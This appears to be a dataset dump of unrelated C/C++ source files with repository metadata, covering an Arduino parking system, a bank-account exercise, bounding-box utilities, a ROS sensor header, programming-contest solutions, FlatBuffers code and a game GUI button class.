void Park() { lcd.clear(); lcd.setCursor(0, 0); lcd.print("PLACE YOUR CARD"); Serial.print("PARK"); digitalWrite(GL, LOW); int temp[4]; int key; int pos; if (slot < 7)// check if any slots are left { //read UID while (! rfid.PICC_IsNewCardPresent()) continue; while ( !rfid.PICC_ReadCardSerial()) continue; for (int i = 0; i < 4; i++) { temp[i] = rfid.uid.uidByte[i]; } key = temp[1]; rfid.PICC_HaltA(); rfid.PCD_StopCrypto1(); Serial.println(key); pos = getslot(key); Serial.println(pos); Serial.println(ID[pos].level); if (pos == 4) { lcd.clear(); lcd.setCursor(0, 0); lcd.print("INVALID CARD....."); delay(500); } else if (ID[pos].state == 1) { lcd.clear(); lcd.setCursor(0, 0); lcd.print("CARD ALREDY USED"); delay(1000); } else { char buff[10]; sprintf(buff, "SLOT NO.: %d", pos); lcd.clear(); lcd.setCursor(0, 0); lcd.print(buff); lcd.setCursor(0, 1); lcd.print("Parking..."); parkCar(pos); slot++; ID[pos].state = 1; lcd.clear(); lcd.setCursor(0, 0); lcd.print(" THANK YOU.. "); lcd.setCursor(0, 1); lcd.print("PARKING CMPLTED"); digitalWrite(GL, HIGH); digitalWrite(RL, LOW); delay(1200); digitalWrite(GL, LOW); lcd.clear(); } } else { lcd.clear(); lcd.setCursor(0, 0); lcd.print(" ALL SLOTS FULL "); delay(1200); lcd.clear(); } }
162cb2b2428b6a5c5addbe79a56464aa14da5a92
1ce11cca610b95a4421a88cba073175f1b0f8ba2
/tarea_Empleado_Banco/Tarea2_Banco/Tarea2_fundamentos/main.cpp
cbcc19be3c3b02825f92718d49060324f44e83a5
[ "Apache-2.0" ]
permissive
bryanjsb/proyectosFundamentosInfoUNA
c8491165d17c51af82920e6be1f7d5c20b8a2d79
8b07fc9ae2616858522d44cc5bdb9b6ceb895bd0
refs/heads/master
2020-09-27T04:23:43.305664
2019-12-07T00:17:10
2019-12-07T00:17:10
226,428,928
0
0
null
null
null
null
IBM852
C++
false
false
1,283
cpp
main.cpp
#include "claseCuentaCorriente.h" int main() { CuentaCorriente cuenta1(1234567,"Bryan",10000); float x; int caso; int y; // numero de cuenta que ingrese cin; cout << "\t\t\t\tBienvenido a su Banco PYMEX" << endl; cout << "***|numero de cuenta: " << cuenta1.getNumCuenta() << "|***" << endl; cout << "Ingrese el numero de cuenta: "; cin >> y; if (y == cuenta1.getNumCuenta()){ cout << "\t\t\t\tBienvenido :" << cuenta1.getNomDue˝o() << endl; cout << "Que accion desea realizar: 1-Ver saldo, 2-Retiro, 3-Deposito :"; cin >> caso; switch (caso) { case 1: cout << "Su saldo en la cuenta es $ " << cuenta1.Saldo()<< endl; break; case 2: cout << "Cuanto desea retirar" << endl; cin >> x; cout << "Vas a retirar $ " << x << endl; cuenta1.Retiro(x); cout << "Su saldo en la cuenta es $ " << cuenta1.Saldo()<<endl; break; case 3: cout << "Cuanto desea depositar" << endl; cin >> x; cout << "Vas a depositar $ " << x << endl; cuenta1.Deposito(x); cout << "Su saldo en la cuenta es " << cuenta1.Saldo()<<endl; break; default: break; } } else { cout << endl; cout << "\t\tSu numero de cuenta es incorrecto, vuelvalo a intentar." << endl; } system("pause"); }
6cf54438f59db6b6647224b1b55389977e2a4065
ee97c35826f3c516210893569a5add67490b8cc8
/src/utils/bbox_utils.h
e87ae65d209b70d8dc3cabfe23d0c5a4af804469
[ "Apache-2.0" ]
permissive
Namburger/restor
162c09ad85a3c10804646723c723db6200114e52
3623c4b4abe5b0778d7953c3317fb6237945e67d
refs/heads/master
2020-11-28T16:37:31.498430
2020-08-26T18:57:20
2020-08-26T18:57:20
229,869,889
14
0
null
null
null
null
UTF-8
C++
false
false
3,691
h
bbox_utils.h
#ifndef EDGETPU_CPP_BBOX_UTILS_H_ #define EDGETPU_CPP_BBOX_UTILS_H_ #include <vector> #include "absl/strings/substitute.h" namespace coral { // Object Detection model produces axis-aligned boxes in two formats: // BoxCorner represents the lower left corner (xmin, ymin) and // the upper right corner (xmax, ymax). // CenterSize represents the center (xcenter, ycenter), height and width. // BoxCornerEncoding and CenterSizeEncoding are related as follows: // ycenter = y / y_scale * anchor.h + anchor.y; // xcenter = x / x_scale * anchor.w + anchor.x; // half_h = 0.5*exp(h/ h_scale)) * anchor.h; // half_w = 0.5*exp(w / w_scale)) * anchor.w; // ymin = ycenter - half_h // ymax = ycenter + half_h // xmin = xcenter - half_w // xmax = xcenter + half_w struct BoxCornerEncoding { float ymin; float xmin; float ymax; float xmax; inline std::string DebugString() const { return absl::Substitute("ymin=$0,xmin=$1,ymax=$2,xmax=$3", ymin, xmin, ymax, xmax); } }; inline bool operator==(const BoxCornerEncoding& x, const BoxCornerEncoding& y) { return x.xmin == y.xmin && x.xmax == y.xmax && x.ymin == y.ymin && x.ymax == y.ymax; } inline bool operator!=(const BoxCornerEncoding& x, const BoxCornerEncoding& y) { return !(x == y); } struct CenterSizeEncoding { float y; float x; float h; float w; inline std::string DebugString() const { return absl::Substitute("y=$0,x=$1,h=$2,w=$3", y, x, h, w); } inline BoxCornerEncoding ConvertToBoxCornerEncoding() const { const float half_h = 0.5 * h; const float half_w = 0.5 * w; return BoxCornerEncoding({y - half_h, x - half_w, y + half_h, x + half_w}); } }; // Detection result. struct DetectionCandidate { BoxCornerEncoding corners; int label; float score; inline std::string DebugString() const { return absl::Substitute("corners={$0},label=$1,score=$2", corners.DebugString(), label, score); } }; // Compare based on id and score only. inline bool operator==(const DetectionCandidate& x, const DetectionCandidate& y) { return x.score == y.score && x.label == y.label && x.corners == y.corners; } inline bool operator!=(const DetectionCandidate& x, const DetectionCandidate& y) { return !(x == y); } // Defines a comparator which allows us to rank DetectionCandidate based on // their score and id. struct DetectionCandidateComparator { bool operator()(const DetectionCandidate& lhs, const DetectionCandidate& rhs) const { return std::tie(lhs.score, lhs.label) > std::tie(rhs.score, rhs.label); } }; inline bool IsBoxEmpty(const BoxCornerEncoding& box) { return (box.ymin >= box.ymax || box.xmin >= box.xmax); } inline float ComputeBoxArea(const BoxCornerEncoding& box) { if (IsBoxEmpty(box)) return 0; return (box.ymax - box.ymin) * (box.xmax - box.xmin); } // Returns intersection over union of two boxes. inline float IntersectionOverUnion(const BoxCornerEncoding& box0, const BoxCornerEncoding& box1) { const float area0 = ComputeBoxArea(box0); const float area1 = ComputeBoxArea(box1); if (area0 <= 0 || area1 <= 0) return 0.0; const float intersection_ymin = std::max<float>(box0.ymin, box1.ymin); const float intersection_xmin = std::max<float>(box0.xmin, box1.xmin); const float intersection_ymax = std::min<float>(box0.ymax, box1.ymax); const float intersection_xmax = std::min<float>(box0.xmax, box1.xmax); const float intersection_area = std::max<float>(intersection_ymax - intersection_ymin, 0.0) * std::max<float>(intersection_xmax - intersection_xmin, 0.0); return intersection_area / (area0 + area1 - intersection_area); } } // namespace coral #endif // EDGETPU_CPP_BBOX_UTILS_H_
28fd0386c01f1e2b86f820eb8c1c290c1e27d264
6487040572648d6561fedb8c51e2882fb8a7eafe
/src/aaw_ros/include/aaw_weightSensorDataReader.h
3593848f98e965f650bc4d2ba330d50a5832fad5
[]
no_license
Frannncis/aaw_ws
dc5c55407db6896fae27c470ad38ddbb37d80d24
4124cbb3ebcda89624fd33567bac2443d20b9ca8
refs/heads/master
2023-06-05T11:10:21.326649
2021-06-21T03:14:33
2021-06-21T03:14:33
343,355,727
2
1
null
null
null
null
UTF-8
C++
false
false
1,021
h
aaw_weightSensorDataReader.h
#ifndef AAW_WEIGHT_SENSOR_DATA_READER_H_ #define AAW_WEIGHT_SENSOR_DATA_READER_H_ #include <ros/ros.h> #include <iostream> #include <cstring> #include <serial/serial.h> #include <aaw_ros/WeightSensorData.h> class AAWWeightSensorReader { public: AAWWeightSensorReader(ros::NodeHandle* nodehandle); ~AAWWeightSensorReader(); void pubWeight(); private: ros::NodeHandle nh_; ros::Publisher weightPub_; aaw_ros::WeightSensorData weight_; serial::Serial serialPort_; uint8_t acquireWeight_[8]; uint8_t set50HZ_[8]; uint8_t set12HZ_[8]; uint8_t reset_[8]; uint8_t readBuffer_[8]; size_t bytesRead_; void setCommand(); int openSerialPort(const std::string & port); void setFrequency(const uint8_t * sendBuffer); void resetWeightValue2Zero(); int getWeight(); void showBytesRead(const uint8_t * buffer, size_t size); int extractWeight(const uint8_t * buffer); void errorMsg(const char * msg); void showMsg(const char * msg); }; #endif
895a2e520f06612a9e4d4344e9824ebcc5051dd4
cf2e1d02a07b0d84e7ca2e3ca8f0fc670e3020f6
/BOJ/class3/BOJ_14502.cpp
4330d700162381490a65d4f5aa14fa33321962ff
[]
no_license
AeonFlor/Algorithm
89974b067e05ede89b9c74fff96d54a53ee6ae3d
eec453e2a1855020b2c584a2e7877f87f9934b37
refs/heads/main
2023-02-22T05:35:06.436044
2023-02-17T17:08:53
2023-02-17T17:08:53
230,030,807
3
0
null
null
null
null
UTF-8
C++
false
false
1,526
cpp
BOJ_14502.cpp
#include <iostream> #include <vector> #include <algorithm> using namespace std; bool visited[11][11]; int map[11][11]; int dx[4] = {0,1,0,-1}; int dy[4] = {1,0,-1,0}; int N, M, tmp, ans=0; vector<pair<int, int>> virus, hollow; void print() { cout<<"\n====="<<tmp<<"=====\n"; for(int j=0; j<N+2; ++j) { for(int i=0; i<M+2; ++i) cout<<map[i][j]<<' '; cout<<'\n'; } } void dfs(int x, int y) { visited[x][y] = true; for(int j=0; j<4; ++j) if(!visited[x+dx[j]][y+dy[j]] && map[x+dx[j]][y+dy[j]] == 0) { --tmp; dfs(x+dx[j], y+dy[j]); } } int main(void) { fill(&map[0][0], &map[10][10], 1); cin>>N>>M; for(int j=1; j<=N; ++j) for(int i=1; i<=M; ++i) { cin>>map[i][j]; if(map[i][j]==0) hollow.push_back(make_pair(i,j)); else if(map[i][j]==2) virus.push_back(make_pair(i,j)); } for(int i=0; i<hollow.size()-2; ++i) { map[hollow[i].first][hollow[i].second] = 7; for(int j=i+1; j<hollow.size()-1; ++j) { map[hollow[j].first][hollow[j].second] = 8; for(int k=j+1; k<hollow.size(); ++k) { map[hollow[k].first][hollow[k].second] = 9; tmp = hollow.size()-3; fill(&visited[0][0], &visited[10][10], false); for(int l=0; l<virus.size(); ++l) dfs(virus[l].first, virus[l].second); ans = max(ans,tmp); //if(ans == tmp) // print(); map[hollow[k].first][hollow[k].second] = 0; } map[hollow[j].first][hollow[j].second] = 0; } map[hollow[i].first][hollow[i].second] = 0; } cout<<ans<<'\n'; }
b97ae8c5baf8fb5c79b9a4c66f44f8f771f3c59a
2ac80831917fab51f3e12e67429cec83ffaa40f0
/prog-lab-I/Teste/testeArquivo2.cpp
73d376f0dc19012a0f339226a9c69e2f38365ce6
[ "MIT" ]
permissive
hsnavarro/CompIME
bc4e36d20f7263d4a738c7dc778123f416e8e9bc
b4f285826d001b6f818d94636a6294782f1cedf2
refs/heads/master
2021-07-18T18:12:49.003700
2020-06-06T03:04:51
2020-06-06T03:04:51
177,843,439
0
0
null
null
null
null
UTF-8
C++
false
false
199
cpp
testeArquivo2.cpp
#include <bits/stdc++.h> using namespace std; int main(){ streambuf *ptr; ofstream arq("saida.txt"); ptr = arq.rdbuf(); cout.rdbuf(ptr); cout << "oi" << endl; cout << "teste" << endl; }
ae7d4052a5028a556beff3721f80826708f0dfcb
7160197bc1c369dd66c0cbacec8e7a88f0c61705
/Dynamic_array/solution.cpp
51f99286867749ffdfe9ec7d755266138b6319f6
[]
no_license
quantum109678/Coding_practice
f62e60cce59e4eb6529ee46116a2f963b802f899
a336209794fa5770acf504474f542c17a6212aab
refs/heads/master
2021-04-09T13:03:38.605974
2018-03-18T10:03:37
2018-03-18T10:03:37
125,500,128
0
0
null
null
null
null
UTF-8
C++
false
false
1,040
cpp
solution.cpp
#include <math.h> #include <vector> #include <iostream> using namespace std; int main() { int n,q,last_ans=0; cin>>n>>q; int q_arr[q][3]; for(int i=0;i<q;i++){ for(int j=0;j<3;j++){ cin>>q_arr[i][j]; } } vector<vector<int> > seq(n); int key,x,y,seq_no,temp; for(int i=0;i<q;i++){ key=q_arr[i][0]; x=q_arr[i][1]; y=q_arr[i][2]; seq_no=((x^last_ans)%n); switch(key){ case 1:seq[seq_no].push_back(y); break; case 2:temp=y%seq[seq_no].size(); last_ans=seq[seq_no][temp]; cout<<last_ans<<endl; break; default:return -1; break; } } return 0; }
a5b59290a3e688b5e4478073f79bf1f164701c7d
ab37bae12d35fbd59a1240ecd0d51179856f3a94
/src/wing/naca00XX.h
e765985124ce530ab4fd9da3d93b80dd617a6a9d
[]
no_license
xeno14/UVLM
443fe75c36ce5a87af6941b91c0e1f48b75a176d
f522f633268813d3496a7d4477bc0fadc5b2eba2
refs/heads/master
2021-03-22T03:45:11.175235
2016-01-18T15:36:33
2016-01-18T15:36:33
36,131,012
1
0
null
null
null
null
UTF-8
C++
false
false
947
h
naca00XX.h
/** * @file naca00XX.h * @brief Add description here */ #pragma once #include "rect.h" namespace UVLM { namespace wing { /** * @brief Equation for a symmetrical 4-digit NACA airfoil * http://en.wikipedia.org/wiki/NACA_airfoil#Equation_for_a_symmetrical_4-digit_NACA_airfoil * @param c chord length * @param xx number */ double NACA00XX(double x, double c, int xx); class NACA00XXGenerator : public RectGenerator { public: NACA00XXGenerator(int digit) : RectGenerator(), digit_(digit), verbose_(false) {} virtual ~NACA00XXGenerator() = default; virtual void Generate(UVLM::proto::Wing* wing, const double chord, const double span, const std::size_t rows, const std::size_t cols) const override; void set_verbose(bool flag) { verbose_ = flag; } private: int digit_; bool verbose_; }; } // namespace wing } // namespace UVLM
b60dc234e7b915322c6f8f22e453ee9455164af3
04934c22a3f80303b6a8e3e5ba90e3486f736c6b
/deigo/serverlogin11_generated.h
b97ecf37b95145c3753aa66d86dfcb6707e371d9
[ "MIT" ]
permissive
o2ohuaat/deigo
227028f2c750cae61f46d9bcd51240b8473589e1
51adb6d4adb77d8b3f163ea3b3e20b6a5b69fb99
refs/heads/master
2021-01-20T20:56:58.235684
2016-06-20T07:11:00
2016-06-20T07:11:00
61,350,014
0
0
null
null
null
null
UTF-8
C++
false
false
4,791
h
serverlogin11_generated.h
// automatically generated by the FlatBuffers compiler, do not modify #ifndef FLATBUFFERS_GENERATED_SERVERLOGIN11_MQTT_H_ #define FLATBUFFERS_GENERATED_SERVERLOGIN11_MQTT_H_ #include "flatbuffers/flatbuffers.h" namespace Mqtt { struct testtable; struct test2; struct testtable FLATBUFFERS_FINAL_CLASS : private flatbuffers::Table { enum { VT_USER = 4, VT_PASS = 6 }; const flatbuffers::String *user() const { return GetPointer<const flatbuffers::String *>(VT_USER); } const flatbuffers::String *pass() const { return GetPointer<const flatbuffers::String *>(VT_PASS); } bool Verify(flatbuffers::Verifier &verifier) const { return VerifyTableStart(verifier) && VerifyField<flatbuffers::uoffset_t>(verifier, VT_USER) && verifier.Verify(user()) && VerifyField<flatbuffers::uoffset_t>(verifier, VT_PASS) && verifier.Verify(pass()) && verifier.EndTable(); } }; struct testtableBuilder { flatbuffers::FlatBufferBuilder &fbb_; flatbuffers::uoffset_t start_; void add_user(flatbuffers::Offset<flatbuffers::String> user) { fbb_.AddOffset(testtable::VT_USER, user); } void add_pass(flatbuffers::Offset<flatbuffers::String> pass) { fbb_.AddOffset(testtable::VT_PASS, pass); } testtableBuilder(flatbuffers::FlatBufferBuilder &_fbb) : fbb_(_fbb) { start_ = fbb_.StartTable(); } testtableBuilder &operator=(const testtableBuilder &); flatbuffers::Offset<testtable> Finish() { auto o = flatbuffers::Offset<testtable>(fbb_.EndTable(start_, 2)); return o; } }; inline flatbuffers::Offset<testtable> Createtesttable(flatbuffers::FlatBufferBuilder &_fbb, flatbuffers::Offset<flatbuffers::String> user = 0, flatbuffers::Offset<flatbuffers::String> pass = 0) { testtableBuilder builder_(_fbb); builder_.add_pass(pass); builder_.add_user(user); return builder_.Finish(); } struct test2 FLATBUFFERS_FINAL_CLASS : private flatbuffers::Table { enum { VT_HOST = 4, VT_PORT = 6, VT_TOPIC = 8, VT_AUTH = 10, VT_NAME = 12 }; int64_t host() const { return GetField<int64_t>(VT_HOST, 0); } int32_t port() const { return GetField<int32_t>(VT_PORT, 0); } const flatbuffers::String *topic() const { return GetPointer<const flatbuffers::String *>(VT_TOPIC); } const testtable *auth() const { return GetPointer<const testtable *>(VT_AUTH); } const flatbuffers::String *name() const { return GetPointer<const flatbuffers::String *>(VT_NAME); } bool Verify(flatbuffers::Verifier &verifier) const { return VerifyTableStart(verifier) && VerifyField<int64_t>(verifier, VT_HOST) && VerifyField<int32_t>(verifier, VT_PORT) && VerifyField<flatbuffers::uoffset_t>(verifier, VT_TOPIC) && verifier.Verify(topic()) && VerifyField<flatbuffers::uoffset_t>(verifier, VT_AUTH) && verifier.VerifyTable(auth()) && VerifyField<flatbuffers::uoffset_t>(verifier, VT_NAME) && verifier.Verify(name()) && verifier.EndTable(); } }; struct test2Builder { flatbuffers::FlatBufferBuilder &fbb_; flatbuffers::uoffset_t start_; void add_host(int64_t host) { fbb_.AddElement<int64_t>(test2::VT_HOST, host, 0); } void add_port(int32_t port) { fbb_.AddElement<int32_t>(test2::VT_PORT, port, 0); } void add_topic(flatbuffers::Offset<flatbuffers::String> topic) { fbb_.AddOffset(test2::VT_TOPIC, topic); } void add_auth(flatbuffers::Offset<testtable> auth) { fbb_.AddOffset(test2::VT_AUTH, auth); } void add_name(flatbuffers::Offset<flatbuffers::String> name) { fbb_.AddOffset(test2::VT_NAME, name); } test2Builder(flatbuffers::FlatBufferBuilder &_fbb) : fbb_(_fbb) { start_ = fbb_.StartTable(); } test2Builder &operator=(const test2Builder &); flatbuffers::Offset<test2> Finish() { auto o = flatbuffers::Offset<test2>(fbb_.EndTable(start_, 5)); return o; } }; inline flatbuffers::Offset<test2> Createtest2(flatbuffers::FlatBufferBuilder &_fbb, int64_t host = 0, int32_t port = 0, flatbuffers::Offset<flatbuffers::String> topic = 0, flatbuffers::Offset<testtable> auth = 0, flatbuffers::Offset<flatbuffers::String> name = 0) { test2Builder builder_(_fbb); builder_.add_host(host); builder_.add_name(name); builder_.add_auth(auth); builder_.add_topic(topic); builder_.add_port(port); return builder_.Finish(); } inline const Mqtt::test2 *Gettest2(const void *buf) { return flatbuffers::GetRoot<Mqtt::test2>(buf); } inline bool Verifytest2Buffer(flatbuffers::Verifier &verifier) { return verifier.VerifyBuffer<Mqtt::test2>(); } inline void Finishtest2Buffer(flatbuffers::FlatBufferBuilder &fbb, flatbuffers::Offset<Mqtt::test2> root) { fbb.Finish(root); } } // namespace Mqtt #endif // FLATBUFFERS_GENERATED_SERVERLOGIN11_MQTT_H_
8c967e5a2f4ae88c0556399e4d510e00b4b5931d
dad388179127e7b39cd0b5649efb7ed501308c0b
/src/cpp-ethereum/test/libtesteth/ImportTest.h
fd6597ca8f65f83ac6be8d948802b39454810923
[ "LGPL-2.0-or-later", "GPL-1.0-or-later", "GPL-3.0-only", "LGPL-2.1-or-later", "GPL-3.0-or-later", "LicenseRef-scancode-other-copyleft", "LicenseRef-scancode-warranty-disclaimer", "LicenseRef-scancode-unknown-license-reference", "Apache-2.0", "MIT" ]
permissive
blockchaingate/fabcoin
bb17639f50d0f1a658abcb8841933a9a24cae51e
2dcee3566f4902ed081322a5b31cf23d9fa4134d
refs/heads/master
2022-08-12T13:08:43.778841
2022-07-21T19:20:41
2022-07-21T19:20:41
127,150,382
29
23
MIT
2018-06-19T19:58:09
2018-03-28T14:11:37
C++
UTF-8
C++
false
false
3,288
h
ImportTest.h
/* This file is part of cpp-ethereum. cpp-ethereum is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. cpp-ethereum is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with cpp-ethereum. If not, see <http://www.gnu.org/licenses/>. */ /** @file * Helper class for managing data when running state tests */ #pragma once #include <test/libtestutils/Common.h> #include <libethashseal/GenesisInfo.h> #include <test/libtesteth/JsonSpiritHeaders.h> #include <libethereum/State.h> namespace dev { namespace test { enum class testType { StateTests, BlockChainTests, GeneralStateTest, Other }; class ImportTest { public: ImportTest(json_spirit::mObject& _o, bool isFiller, testType testTemplate = testType::StateTests); // imports void importEnv(json_spirit::mObject& _o); static void importState(json_spirit::mObject const& _o, eth::State& _state); static void importState(json_spirit::mObject const& _o, eth::State& _state, eth::AccountMaskMap& o_mask); static void importTransaction (json_spirit::mObject const& _o, eth::Transaction& o_tr); void importTransaction(json_spirit::mObject const& _o); static json_spirit::mObject& makeAllFieldsHex(json_spirit::mObject& _o); bytes executeTest(); int exportTest(bytes const& _output); static int compareStates(eth::State const& _stateExpect, eth::State const& _statePost, eth::AccountMaskMap const _expectedStateOptions = eth::AccountMaskMap(), WhenError _throw = WhenError::Throw); void checkGeneralTestSection(json_spirit::mObject const& _expects, std::vector<size_t>& _errorTransactions, std::string const& _network="") const; eth::State m_statePre; eth::State m_statePost; eth::LogEntries m_logs; eth::LogEntries m_logsExpected; private: typedef std::pair<eth::ExecutionResult, eth::TransactionReceipt> execOutput; std::pair<eth::State, execOutput> executeTransaction(eth::Network const _sealEngineNetwork, eth::EnvInfo const& _env, eth::State const& _preState, eth::Transaction const& _tr); eth::EnvInfo m_envInfo; eth::Transaction m_transaction; //General State Tests struct transactionToExecute { transactionToExecute(int d, int g, int v, eth::Transaction const& t): dataInd(d), gasInd(g), valInd(v), transaction(t), postState(0), netId(eth::Network::MainNetwork) {} int dataInd; int gasInd; int valInd; eth::Transaction transaction; eth::State postState; eth::Network netId; }; std::vector<transactionToExecute> m_transactions; using StateAndMap = std::pair<eth::State, eth::AccountMaskMap>; using TrExpectSection = std::pair<transactionToExecute, StateAndMap>; void checkGeneralTestSectionSearch(json_spirit::mObject const& _expects, std::vector<size_t>& _errorTransactions, std::string const& _network = "", TrExpectSection* _search = NULL) const; json_spirit::mObject& m_testObject; testType m_testType; }; } //namespace test } //namespace dev
ce76c3768e9d3b9296dfa740e419c8da23756c86
317aa31c2d7fc3d41960b03c42cd588e20f27564
/baekjoon/1759.cpp
dfb851ea912568b63df2306c17efd7463f14c49d
[]
no_license
junseublim/Algorithm-study
3dd5cdacf2d43d443caa5093cc26eec10724e775
d1f0a0449fe300a9b85b7d4d8d177fd44219e63b
refs/heads/master
2023-05-27T20:21:55.315720
2021-06-11T13:23:23
2021-06-11T13:23:23
328,676,823
0
0
null
null
null
null
UTF-8
C++
false
false
1,240
cpp
1759.cpp
#include <iostream> #include <vector> #include <set> #include <algorithm> using namespace std; vector<int> selected; vector<char> characters; set<string> answers; int L,C; set<char> vowels = {'a','i','e','o','u'}; void check() { string s; int hasVowel = 0; int hasTwoCons = 0; for (int i =0; i<selected.size(); i++) { if (selected[i]) { s.push_back(characters[i]); if (vowels.count(characters[i])) { hasVowel = 1; } else { hasTwoCons++; } } } if (hasVowel && hasTwoCons>=2) { answers.insert(s); } } void dfs(int pos, int count) { if (count == L) { check(); return; } for(int i= pos; i< C; i++) { if (selected[i] ==0) { selected[i] = 1; dfs(i, count+1); selected[i] = 0; } } } int main() { cin>>L>>C; selected.assign(C,0); for (int i=0; i<C; i++) { char c; cin>>c; characters.push_back(c); } sort(characters.begin(), characters.end()); for (int i=0; i<C; i++) { dfs(i, 0); } for (auto answer: answers) { cout<<answer<<endl; } }
ccbe127b1c5b48a08cbc9521b80725cd87d45475
74318b77a186fc1b1a0826ce924b37bc216ee5c2
/NewCocosProject/Classes/FlyText.hpp
9fec8690c0f801fdd84fabb1d5f3cee3fc0fe428
[]
no_license
Midnightshao/Cocos2DIMOOC
e875a675e7d9392d4a908531ac15919e1ad302b7
1cb23c91c99858c9c1df38a9c80e0a36a1a81891
refs/heads/master
2021-01-20T13:03:47.594999
2017-05-06T06:49:59
2017-05-06T06:49:59
90,440,777
0
0
null
null
null
null
UTF-8
C++
false
false
412
hpp
FlyText.hpp
// // FlyText.hpp // NewCocosProject // // Created by 广昊 邵 on 2017/4/30. // // #ifndef FlyText_hpp #define FlyText_hpp USING_NS_CC; #include <iostream> #include "cocos2d.h" class FlyText : public Node{ public: static FlyText * create(const char *str); bool init(const char *str); void startAnimation(); void removeObject(); public: Label *label; }; #endif /* FlyText_hpp */
d53e9c2170b7da8f15e785deafbd4a0e17a6ddba
7ed28dffc9e1287cf504fdef5967a85fe9f564e7
/AtCoder/ABC153/f.cpp
c33a143a559930136f83fdfa68bb54c6a4b2a791
[ "MIT" ]
permissive
Takumi1122/data-structure-algorithm
0d9cbb921315c94d559710181cdf8e3a1b8e62e5
6b9f26e4dbba981f034518a972ecfc698b86d837
refs/heads/master
2021-06-29T20:30:37.464338
2021-04-17T02:01:44
2021-04-17T02:01:44
227,387,243
0
0
null
2020-02-23T12:27:52
2019-12-11T14:37:49
C++
UTF-8
C++
false
false
848
cpp
f.cpp
#include <bits/stdc++.h> #define rep(i, n) for (int i = 0; i < (n); ++i) using namespace std; using ll = long long; using P = pair<int, int>; /* 参考リンク ABC 153 F - Silver Fox vs Monster https://atcoder.jp/contests/abc153/tasks/abc153_f */ int main() { int n; ll d, a; cin >> n >> d >> a; vector<P> p(n); rep(i, n) { cin >> p[i].first >> p[i].second; } sort(p.begin(), p.end()); d = d * 2; ll tot = 0; queue<pair<ll, ll>> q; ll ans = 0; rep(i, n) { ll x = p[i].first; ll h = p[i].second; while (q.size() && q.front().first < x) { tot -= q.front().second; q.pop(); } h -= tot; if (h > 0) { ll num = (h + a - 1) / a; ans += num; ll damage = num * a; tot += damage; q.emplace(x + d, damage); } } cout << ans << endl; return 0; }
196150931f734f7bc76560317caa8edb94733cca
7ba02eec3decc76f001ae6d2b6d285026d861f0c
/miscellaneous/combinations.cpp
59b5fa8cec0798c89cc0dc71d0743bf553006d34
[]
no_license
CubixPro/Transfer
a9cd298774380d3811f570c151e8d4b4b8324824
86a971b42c1fe84a9480de65703f27871aec2ce0
refs/heads/master
2020-06-23T02:32:17.236328
2020-06-07T06:23:28
2020-06-07T06:23:28
198,478,443
1
0
null
null
null
null
UTF-8
C++
false
false
659
cpp
combinations.cpp
#include<bits/stdc++.h> #include<string.h> using namespace std; int comb_length; int str_length; fstream f; void combinations(string str, string comb, int i, int x){ if(i == comb_length){ f << comb << '\n'; return ; } else if(x == str_length){ return; } else { char ch = str[x]; comb[i] = ch; combinations(str, comb, i + 1, x + 1); comb[i] = ' '; combinations(str, comb, i, x + 1); } } int main(){ comb_length = 2; str_length = 4; f.open("combinations.txt", ios::app); combinations("abcd", " ", 0, 0); f.close(); }
6d32be99a268cfc48e1c0a24f53ce15be1530831
187b10c2db9a3b8d68178eacf74824ae2ab4896e
/FK2DEngine/source/Button.cpp
4afde108ca8d0d409d911649e123d7b2b3956d81
[]
no_license
PubFork/FKEngine
0eb61c02038bc64e9c157fb8c792e4e29796dc1f
1c81a2b3be19d818f6f1d950ffcef205349652f4
refs/heads/master
2020-04-29T03:04:22.293325
2015-11-28T07:53:32
2015-11-28T07:53:32
null
0
0
null
null
null
null
GB18030
C++
false
false
2,158
cpp
Button.cpp
/******************************************************************** * * 本文件是FKMMORPG的一部分。本文件版权归属FreeKnightDuzhi(王宏张)所有。 * E-mail: duzhi5368@163.com * QQ: 281862942 * * ----------------------------------------------------------------- * * 文件名: Button * 作者: FreeKnightDuzhi[ 王宏张 ] * 文件说明: * * 修改人: * 修改内容: *********************************************************************/ #include "../Include/Button.h" #include "../Include/UIControl.h" #include "../Include/PicButton.h" #include "../Include/Exception.h" //-------------------------------------------------------------------- namespace FK2DEngine { //-------------------------------------------------------------------- void CButton::Create( IGUIControl* p_pParent, int p_nLeft, int p_nTop, CBitmap& p_Bitmap,const std::wstring& p_szCaption ) { IGUIControl::Create(); SetParent( p_pParent ); SetLeft( p_nLeft ); SetTop( p_nTop ); SetGlygh( p_Bitmap ); SetCaption( p_szCaption ); if( m_pColor == NULL ) { SetFontColor( *(new CColor( CColor::WHITE )) ); } } //-------------------------------------------------------------------- void CButton::FKDraw() const { CPicButton::FKDraw(); POINT pt = { 0, 0 }; if( m_eBS == eBS_Down ) { pt.x += m_DownOffset.x; pt.y += m_DownOffset.y; } ClientToScreen( pt ); if( m_pFont != NULL ) { m_pFont->FKDraw( m_szCaption, pt.x + m_TextPos.x, pt.y + m_TextPos.y, GetZPos(), 1.0, 1.0, *m_pColor ); } } //-------------------------------------------------------------------- void CButton::SetCaption( const std::wstring& p_szCaption ) { FKAssert( m_pFont != NULL , "Button不允许字体为空" ); IGUIControl::SetCaption( p_szCaption ); // 居中显示 int nLen = (int)m_szCaption.length(); m_TextPos.x = ( m_nWidth - static_cast<int>(m_pFont->TextWidth( p_szCaption) ) ) / 2; m_TextPos.y = ( m_nHeight - static_cast<int>(m_pFont->Height()) ) / 2 ; } //-------------------------------------------------------------------- }
7600588f1c4cc0b2805c4b49f6e76dbdd8b83408
1e6454e56bdb61dcbc7418c038b8ec17b599611a
/core/sql/optimizer/Cost.h
3fdcb18f4df48569b6803a81c8f97e37dd3facfa
[ "Apache-2.0" ]
permissive
RohitJain13/incubator-trafodion
0d99f3cec12a1de20f431c70858d98a5b3b17057
40c27869d5cfcce4e0ee37f19eaa264cb9d9cbe3
refs/heads/master
2021-01-23T20:13:53.491650
2015-09-01T16:25:38
2015-09-01T16:25:38
null
0
0
null
null
null
null
MacCentralEurope
C++
false
false
69,983
h
Cost.h
